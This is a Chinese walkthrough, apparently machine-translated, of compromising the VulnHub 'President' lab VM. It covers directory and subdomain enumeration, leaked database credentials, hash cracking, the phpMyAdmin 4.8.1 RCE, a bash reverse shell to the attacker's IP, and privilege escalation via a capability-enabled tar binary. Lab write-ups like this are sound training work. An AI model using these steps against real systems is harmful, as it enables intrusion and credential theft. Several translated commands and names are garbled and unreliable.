从VulnHub靶机下载到获取账号密码的完整流程解析
目录
目标机器下载URL：总统：1〜Vulnhub
Kali IP：192.168.174.128
目标IP是192.168.174.138
扫描目标IP
确认目标IP是192.168.174.138
NMAP扫描开发端口和服务信息
在这里，您可以看到打开端口80，PHP版本为5.5，并且打开2082的SSH协议
检查打开的Web服务，接口非常真实
目录扫描
python dirsearch.py -u
您可以看到配置文件和配置文件.bak
您可以选择直接访问页面以查看源代码。这是使用Linux Curl命令查看页面的返回信息的选择
粘贴帐户密码：
$ dbuser =“投票箱”;
$ dbpass =“ casoj3ffaspsbyorp”;
$ dbhost =“ localhost”;
$ dbName =“投票框”;
连接卷曲的参数
在这里尝试SSH登录
您可以发现登录失败。直接在此处登录，没有身份验证信息，因此失败
查看其他无需使用其他点的扫描目录
修改主机文件
从索引页面可以看出，邮箱有点奇怪，并且可能有一个内部域名。主机文件是fotnow.local
正常访问获得成功
再次催化目录扫描网站
子域名集合
我没有发现什么要扫描。在这里，我尝试使用wfuzz检查其子域名。当然，您也可以使用其他子域挖掘机。
wfuzz -h'主机：fuzz.votenow.local'-u'＃39; -w/usr/share/Seclists/Discovery/Web-Directory-List-2.3-米德姆.txt-HW 854,45
附加特定参数的含义
-H标头：使用标头（例如：“ cookie：id = 1312321＆user = fuzzz”）。
-u URL：为请求指定URL。
-wwordList：指定WordList文件（-Z文件，WordList的别名）。
-HC/HL/HW：用指定的代码/行/单词/字符隐藏响应（使用BB从基线获取值）
可以在此处再次修改页面的内容。
phpmyadmin管理登录
尝试使用上一页泄露的帐户密码config.php.bak登录
成功登录
在此处查看数据库，然后在投票箱库中找到用户表，包括管理员的帐号和密码，尝试使用John在此处破解密码
$ 2y $ 12 $ d/noejkngk/epf2beafamu8hw4ae3jjk8ity48q97awt/g7eq11i
我在这里使用默认词典
它会出来大约几分钟
PhpMyAdmin脆弱性利用率
接下来，我们有管理员的帐户和密码stella
但是我不知道在哪里登录，然后发现PhpMyAdmin的版本为4.8.1，找出是否有可用的漏洞
您可以看到远程代码执行RCE漏洞
下载到当地查看
您可以在脚本中找到脚本的使用
您可以看到这里的第一行指令没有返回结果。
原因是URL3的地址，可能不一样。
（引用B DAFU站的安全视频，在此处修改会话）
再次在这里运行Whoami命令，发现跑步成功
弹跳壳
bash -i>＆/dev/tcp/192.168.174.128/4444 0>＆1
弹跳的成功
切换到我们之前找到的管理用户
这提醒我们使用新的命令备份并压缩敏感文件
上传脚本用于扫描
但是找不到有用的信息
功能
从这里向其他大师学习新知识
查找：/usr/sbin/getcap -r/2>/dev/null
参考文章Linux Messence：使用功能正确提及-F_CAREY -BLOG PARK
当我们运行SUID命令时，通常只需要使用一小部分特权，但是使用SUID可以具有根用户的全部权限。因此，一旦SUID文件脆弱，它就可以用作根部执行其他操作。 SUID的问题主要是由于授权控制了。为了控制根份身份，Linux添加了另一种机制，即功能。功能机理是在Linux内核2.2之后引入的。它将根用户的权威细分为不同的字段，可以单独启用或禁用。因此，在实际特权中，如果EUID不是根，它将检查是否与特权操作相对应的功能，并基于此确定是否可以执行特权操作。
查找设置功能可执行文件：/usr/sbin/getcap -r/2>/dev/null
我在这里找到了一个奇怪的焦油命令
[admin@votenow〜] $ ls -al/usr/bin/tars
ls -al/usr/bin/tars
-rwx ------。 1管理员346136 2020年6月27日/usr/bin/tars
查看发现它是管理权限
检查命令帮助，类似于tar命令
根文件夹下的所有文件均为root.tar
解压缩压缩文件
检查以查看标志文件
获得根本权限
在这里，我刚刚检查了根的所有文件，但是尚未获得目标飞机的最高权限。这是根文件夹下的搜索。
- 我加密钥，-p加端口，发现它是登录后的根本权限。
目标机摘要
该目标飞机为SSH打开港口80和端口2082。 SSH登录需要经过认证，因此您必须找到登录的钥匙。在端口80，首先扫描目录以找到帐户密码，然后修改主机文件以实现域名分析。扫描目录再次没有获得有用的信息。进行子域名搜索，然后再次修改主机以获取PHPMYADMIN登录接口。登录后，获取管理员密码。使用phpmyadmin的RCE脆弱性反弹。将用户切换到管理。 ，我还了解到功能的权利（还可以使用脚本linpeas.sh进行扫描），使用命令来压缩和解压缩以检查根目录，使用键登录到SSH，最后获得root权限。
phper